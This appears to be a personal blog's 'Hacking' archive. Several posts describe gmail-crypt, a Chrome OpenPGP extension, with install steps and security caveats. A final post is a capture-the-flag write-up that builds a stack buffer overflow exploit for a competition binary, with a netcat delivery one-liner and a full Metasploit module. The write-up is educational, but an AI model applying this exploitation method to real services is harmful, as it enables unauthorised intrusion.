Category Archives: Hacking

gmail-crypt is now “Mymail-Crypt for Gmail™”, download now!

Download: Mymail-Crypt for Gmail™ Chrome Web Store Link

Name Change

There have been a lot of changes to gmail-crypt. Perhaps one glaring difference as the title notes is I have changed the name to “Mymail-Crypt for Gmail™” as part of my push to get the extension available in the Google Chrome Web Store. They seem to be quite concerned about how you use their trademarks, and I believe I have changed it to meet their standards.

Notable Technical Changes

  • The Options page has been revamped to use Bootstrap. There have been a number of changes to how the options appears. I hope it makes it more intuitive.
  • I’ve integrated the most up-to-date version of OpenPGP.js. In this version I have just recently finished some significant pushes to key generation. This means that you can now generate keys with passphrases.
  • I’ve added the ability to Encrypt with/without a signature, and to just sign a message.
  • Lots of bugfixes, general improvement

Security Concerns

I think this software is quite useful but there still are some special concerns in regard to using this software. You should weigh how important these concerns are to you:

  • DO NOT use this on a shared computer. This extension is not (yet) multi-user capable.
  • This release still allows drafts to be uploaded to Gmail servers. Unencrypted drafts could be stored on Gmail servers.
  • Storing private keys in browser. The extension will run under it’s own domain but it might be possible for malicious entities to access it.
  • Password input into the DOM. Currently input for passwords is done directly into the DOM. This means it would be conceivable for gmail to acquire this password. It is important to note that private keys are stored in the context of the extension and not gmail’s context.
  • Cryptographically Secure Pseudo Random Number Generator. OpenPGP.js uses window.crypto.* for random number generation, the quality of this is browser dependent. By definition this should be a good source, but is an externality to consider.

Make sure that you keep backup copies of all the keys you generate. If they’re lost, they’re lost.

TL;DR — There have been a ton of changes that make this extension much more polished. Give it a whirl. Read the Help page for some possible security concerns if that’s your style.

Download: Mymail-Crypt for Gmail™ Chrome Web Store Link
As always, the project page is available here

gmail-crypt updates (key generation alpha!)

New Version

I’ve released a new version of gmail-crypt, my extension that allows OpenPGP/GPG encryption in Gmail through a Chrome extension. The biggest change in this version of gmail-crypt is the addition of key generation. This is a VERY EARLY stage key generation, the key ID’s are not calculated the same way as GPG, I’m currently not sure what the issue is. This means that it’s possible you’ll have to regenerate your key in the future!

Encrypted Email in 1 minute

The installation process is basically the same as the old version.

  1. Click Here for the extension.
  2. Click “Continue” when warned about the dangers of extensions
  3. Click “Install” when warned about the permissions for this extension
  4. In your browser click the Wrench(upper right hand)->Tools->Extensions
  5. Click “Options” under gmail-crypt
  6. Click “my keys” tab, then “generate a new key”
  7. Fill in your name and email, click submit
  8. Test it out by sending yourself an email in gmail and click the “encrypt me” lock icon, when receiving the message click “decrypt me” by the unlock icon.
  9. Get your friend to install the extension and see if you can send messages. NOTE: as indicated above, these keys may have to be regenerated in the future.

Concering JavaScript and OpenPGP

Since my last post, there have been several major changes regarding the OpenPGP javascript environment. GPG4Browsers was released, which performs a very similar function to what I am aiming to do. Appearance is the only real difference. GPG4Browsers has taken a different approach by having composition be a separate window rather than the integrated experience I am going for. I believe their design reflects a desire to be easily maintainable. In designing gmail-crypt I want encryption to require as few changes to user habits and as few clicks as possible.

GPG4Browsers however has a very strong javascript base for their code. The other major change has been the creation of the OpenPGPJS project. GPG4Browsers creators and most of the contributors I had mentioned previously and myself have decided to team up to work together to bring a unified OpenPGP JavaScript library.

With the looming creation of a unified OpenPGP library, I will perform minimal work for the time being on my js-openpgp code as I believe it will be rolled into the larger project and then used in this project. The extension has other work that needs done (Options page rewrite, stop draft uploading, allow any text to be encrypted/decrypted)

Hope this can help someone! Let me know other ideas you might have..

Introducing gmail-Crypt

I’m proud to introduce gmail-Crypt, my new project bringing OpenPGP to Gmail and Chrome via an extension. The project is Open Source, under a couple of different licenses because of the code coming from various sources.

In my experience, most of the existing options for OpenPGP/GPG/PGP are archaic and do not work well with how people use computers today. I think that we can create a simple experience with tight integration in the browser that can make encryption much more accessible.

The project is in very early stages right now, and the current version is definitely an alpha. However, I wanted to put a version out there. Please note that this is still being developed and may not yet be suitable for your super secret needs, as noted in the license there is NO WARRANTY of any sort associated with this software.


  • Click here to add the extension to chrome. It will ask you for permissions.
  • Open the Options page for the extension
  • You currently need to provide your own OpenPGP/PGP/GPG key. I hope to include key creation in a later version. Paste your private key into the box on the “my keys” options page. (You need to paste an armored version of your key. If you’re running linux try “man gpg” for more info)
  • Add keys for your friends (or your own public key) in the “friends keys” section of the options page.
  • Go to your gmail inbox. Compose an email to someone who’s key you’ve added. Click on the “encrypt me” in the upper right. *Note there is currently an issue where sometimes this will not display, try refreshing the page if this is the case.
  • If you receive an encrypted message, click on the “decrypt me” in the upper right of the page.

Send me mail!

You can send me encrypted mail if you want to test it out. sean @ colyer . name.

Version: GnuPG v1.4.11 (GNU/Linux)


Developer Details


I’ve decided to dub the JavaScript OpenPGP library for this project jsOpenPGP. It aims to be an independent library that can be used in other projects as the library to provide OpenPGP encryption. Currently it supports RSA/AES/SHA/CAST5 encryption/decryption. It does not yet do message signing or key creation.

By combining the work by Herbert Hanewinkel and Tom Wu, we are able to create a powerful library. Both of these libraries had to be modified to work together, and the OpenPGP code was mostly re-written to provide a more object oriented approach and some code simplifying that I believe will make the project easier to build on.


The project takes advantage of the “walled garden” approach to extensions. Through the use of a content script, there are changes made on the gmail page, which also interacts with a background page that serves as the middleman between the extension backend and the gmail front end. This is necessary because we want to store key information in the context of the extension, and this allows a certain level of protection between the gmail page and the key details in the extension. Google provides a good overview of this architecture.

Related Works

  • GPGTools is working on using a JavaScript implementation of OpenPGP for a mobile app.
  • Thinkst has released an extension that performs a very similar feature. However, rather than using a Javascript implementation, it uses a user-installed GPG binary on the local filesystem.
  • FireGPG used to be very similar. It runs only in FireFox. It has stopped supporting Gmail


There is a lot of work still to do. Things I’d like to accomplish include: Key creation, key signing, find a good draft uploading solution, further integration with the browser, bugfixes. Check out the latest source for most recent details.

I would love help, head on over to the project page if you can help out!

HOWTO: Hack the Planet (Part 1)

This is a recollection of my experiences creating a metasploit module for a stack overflow exploit. No actual planet was hacked.

I saw a reference to the competition being started at on a blog. I realize that I’ve never done extensive reversing and decided there’s only one way to learn.  Unfortunately, the competition hit a few hiccups along the way, and re-released several binaries, but not before I had sunk time into the wrong ones. At least it was educational. Some of my work, particularly exploring the reversed code has been glossed over as not that applicable — though it did provide good background into the fully functional application. This information pertains to the Nova CTF January 2011 competition.

Tools used:

  • netcat
  • echo
  • nmap
  • wireshark
  • metasploit
  • IDA Pro (free version — I’m sure OllyDbg would be fine too — I used it on one of my test boxes)

Windows 7 Ultimate 64 Bit running provided server.exe

Vulnerability Background:

  1. nmap TARGET -p 1-65535
  2. Run server.exe on TARGET
  3. nmap TARGET -p 1-65535
  4. Note that port 1337 is the difference, hence it becomes our target

Useful sidenote: The original executable would crash on some nmap scans and on all netcat scans, while on some nmap scans it would run perfectly. They connect differently.

NMAP creates a half tcp connection (You can change this to different behaviors, but defaults to this):


Netcat creates a full connection to communicate online:


On the new executable, which was far more functional than the original, it is easier to proceed from here. Anything that was sent over netcat was mirrored back, as I had thought the original intention of the program to be.  One could send information and it would just mirror it back as many times as you wanted to.

I decided to test by again sending a large payload through netcat.  The program crashed this time.  Immediate thoughts point to some sort of stack overflow.

My large message has been delivered similar to

echo -e1234567890123456789012345678901234567890| nc TARGET 1337

*Note: the -e has been left so that I can deliver bytes directly via \x00 through \xFF

However, the string of digits is much longer. Hint: 0-9 breakdown into 0x30-0x39.

Finding the exploit

Time to look at it with IDA. I use a “Manual Load” on IDA, I’ve just found that this works as a better base for the program, but perhaps unnecessary.

I poke through the code (now re-organized, but some sections and functions seem largely identical).  I find the bit of code again that is Bytes received. I use this as my breakpoint and progress from here.  On my first run through, I basically let the program run through to see what causes the crash.

I run the program through and the debugger at the end tells me that the instruction at 0x39383736 cannot be read.  Obvious conclusion: the program is trying to execute an address directly from my input. I’m assuming at this point that the Endian of the machine dictates why these values are reverse of what one might expect, but this is pretty clearly an issue that I have caused.

EAX which seems to be at the beginning of the input is 0x0018EC68, ESP is 0x0018ED70 = 0x108 = 264 in decimal.  It seems likely that the buffer is a 256 byte buffer for the input so values beyond that cause trouble.

I try values around 256.  At 254, the program works, at 255, it breaks. (Unless of course the values for 254,253 were what it was expecting and it was a word off, but I find that unlikely). I also note that some values for 255 seem to work properly.

Watching the code I see that it is failing in the following code:

.text:004012F1 add     esp, 4
.text:004012F4 push    0                               ; flags
.text:004012F6 mov     edx, [ebp+len]
.text:004012FC push    edx                             ; len
.text:004012FD lea     eax, [ebp+buf]
.text:00401303 push    eax                             ; buf
.text:00401304 mov     ecx, [ebp+var_4]
.text:00401307 push    ecx                             ; s
.text:00401308 call    ds:send

My first inclination is that something with [ebp+len] has gotten changed. len has value: 0x9A4 (2468), [ebp+len] is right beyond the edge of my input and has value 0x000000FF.  Having already looked through this code a bunch (or a broken version of it), I start to trace back as to where the issue is occurring.

Image: the highlighted retn statement is the jumping off point for my code.

I then decide to take a little bit of a different approach. I realized earlier that the program could not run the place in memory which was one that I had sent it. Time to figure out how many values I need to overwrite in order to get to that point.

Trial and error indicated that Bytes 261-264 would be this value.  I also found out that sending \x00\x01\x02\x03 up to \x10 caused the program to exit successfully, perhaps these were not throwing off the values enough. I resorted back to \x30\x31\x32, etc, instead. It turns out that \x00 (null-byte) is the escape character, a pretty common practice. I test sending a string of all characters \x01-\xFF to see if there are other bad character issues. I didn’t find any.

I see that in memory the 0x0018EC68 is the beginning of the input buffer. This means that I want 261-264 bits to point here, aka \x68\xEC\x18\x00 (for Endian reasons). I try setting these values as my 261-264 bytes and the program returns to the beginning of my input like I had expected.

echo -e1234567890123456789012345678901234567890.....(fill to 260 bytes).....\x68\xEC\x18\x00” | nc TARGET 1337

Images: The above image shows what the stack is supposed to look like, the bottom shows what happens with our injection (0x0018ED6C is the important line)

Turning Exploit into Metasploit

The next major stage is to take what I already know and implement it in metasploit. Time to write a metasploit module. Create a ruby file in $metasploithome$/modules/exploits/windows/misc . It seems the best way to figure out how to write an exploit is to look at the examples you already have.

There are two main components, initialize and exploit. Initialize will tell metasploit some information about the exploit, mostly who is vulnerable and what payload you can deliver. Exploit gets called to make the action.

I initially have some trouble with my payloads not working properly. One thing that seems suspect is EIP and ESP being so close to each other upon return. A little googling confirms this is a common issue. I inject “\x81\xc4\x54\xf2\xff\xff” to the beginning of my exploit in order to move the stack back plenty. This however does not do the trick.

Pro-tip: Here, like many times when I’m stuck, I use wireshark to see if I get what I’m expecting.

After some frustration, I decide to take a different path, what if I can put the payload after the return code? I see that the return address is loaded in at 0x0018ED6C. I use netcat again to send a huge string of garbage and see it will load through 0x0018F067, this leaves me 763 bytes to play with, and setting my return address to 0x0018ED70. This will allow for much larger payloads. I try

exploit = rand_text_alpha_upper(260) + "\x78\xED\x18\x00\x81\xc4\x54\xf2\xff\xff" + payload.encoded

However, it becomes obvious there’s an issue with this. My return memory address contains \x00, a null byte, which I’ve found to end the input.  This conclusion was obvious in retrospect, but I spent a bit of time trying to get this method to work. It seems there should be a clever way around this, though it’s not as simple as getting rid of \x00 from instructions because this is a memory address which must be contained in the given 4 bytes, but perhaps I could somehow offset something? I’m not sure.

I return to my previous attempt of putting the exploit in the first 260 bytes. I refine my string within metasploit and find that it functions, I’m not sure what was wrong before. I chose the speak “you got pwned” payload. Classic.

exploit = "\x81\xc4\x54\xf2\xff\xff" +payload.encoded + "\x68\xEC\x18\x00"

Final ruby file:

# Custom Metasploit Exploit for Jan 2011 Competition
# Sean Colyer
# 2011-01-25
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote 	include Msf::Exploit::Remote::Tcp 	def initialize(info = {}) 		super(update_info(info, 			'Name'           => 'NOVA CTF January 2011, Stack Overflow.',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the NOVA CTF January 2011 server.exe program
			'Author'         => [ 'Sean Colyer' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 1 $',
			'DefaultOptions' =>
					'EXITFUNC' => 'process',
			'Payload'        =>
					'Space'    => 254,
					'BadChars' => "\x00",
			'Platform'       => 'win',
			'Targets'        =>
					[ 'win',   { 'Ret' => 0x0018ED70 } ],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'January 2011'))
		register_options([Opt::RPORT(1337)], self.class)
	def exploit
		exploit = "\x81\xc4\x54\xf2\xff\xff" +payload.encoded + "\x68\xEC\x18\x00"
		print_status("Trying target #{}...")


I did this really as an exercise for myself. I’m sure my exploit could use more refinement, but my goal was to make it work at all, regardless of any sort of competition.

I spent a lot of time trying to figure out how to exploit the broken executable. It turned out to be broken, and only realized there was a new one after going to see if there were updates on the site. However, it was really useful in getting my mind in to assembly-reading shape. Reversing is pattern recognition, so watching things flow and loop helps show what kind of patterns to watch for. Though it turned out extensive reversing was not needed in this case, it still proved to be a good exercise.